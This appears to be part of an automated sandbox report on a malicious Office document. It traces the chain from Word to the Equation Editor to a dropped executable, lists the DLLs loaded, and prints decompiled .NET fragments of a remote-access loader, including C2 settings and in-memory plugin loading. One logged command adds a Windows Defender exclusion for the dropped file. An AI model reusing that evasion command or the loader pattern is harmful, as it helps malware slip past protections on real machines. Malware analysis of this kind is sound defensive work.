Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Mutant created: \Sessions\1\BaseNamedObjects\lsODhik7XANOkJAK

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................$.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............................."$.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................;$.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................H$.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............................._$.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................q$.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n................................$.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................$.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........$.........................s............H....... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................@........$.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................@........$.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......%.........................s............H.......$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................%%.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................8%.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................D%.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............H.......2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................c%.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................v%.........................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................%.........................s............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................%.........................s............H...............................	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obibingf24242.exe "C:\Users\user\AppData\Roaming\obibingf24242.exe"
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obibingf24242.exe"
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Process created: C:\Users\user\AppData\Roaming\obibingf24242.exe "C:\Users\user\AppData\Roaming\obibingf24242.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obibingf24242.exe "C:\Users\user\AppData\Roaming\obibingf24242.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obibingf24242.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Process created: C:\Users\user\AppData\Roaming\obibingf24242.exe "C:\Users\user\AppData\Roaming\obibingf24242.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

Source: vnobizxc[1].exe.2.dr, Form1.cs	.Net Code: InitializeComponent
Source: obibingf24242.exe.2.dr, Form1.cs	.Net Code: InitializeComponent
Source: 5.2.obibingf24242.exe.410000.0.raw.unpack, QBy45BY4uMbUQs88Qq.cs	.Net Code: KmDc5Q9bs System.Reflection.Assembly.Load(byte[])
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Messages.cs	.Net Code: Memory
Source: 5.2.obibingf24242.exe.26e4c5c.5.raw.unpack, QBy45BY4uMbUQs88Qq.cs	.Net Code: KmDc5Q9bs System.Reflection.Assembly.Load(byte[])
Source: 5.2.obibingf24242.exe.3796750.8.raw.unpack, D0OGH51qG7TrJUYkAK.cs	.Net Code: mXM9LNPFbq System.Reflection.Assembly.Load(byte[])
Source: 5.2.obibingf24242.exe.26d8818.4.raw.unpack, QBy45BY4uMbUQs88Qq.cs	.Net Code: KmDc5Q9bs System.Reflection.Assembly.Load(byte[])
Source: 5.2.obibingf24242.exe.37e2170.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	.Net Code: mXM9LNPFbq System.Reflection.Assembly.Load(byte[])
Source: 5.2.obibingf24242.exe.f30000.1.raw.unpack, D0OGH51qG7TrJUYkAK.cs	.Net Code: mXM9LNPFbq System.Reflection.Assembly.Load(byte[])
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Messages.cs	.Net Code: Memory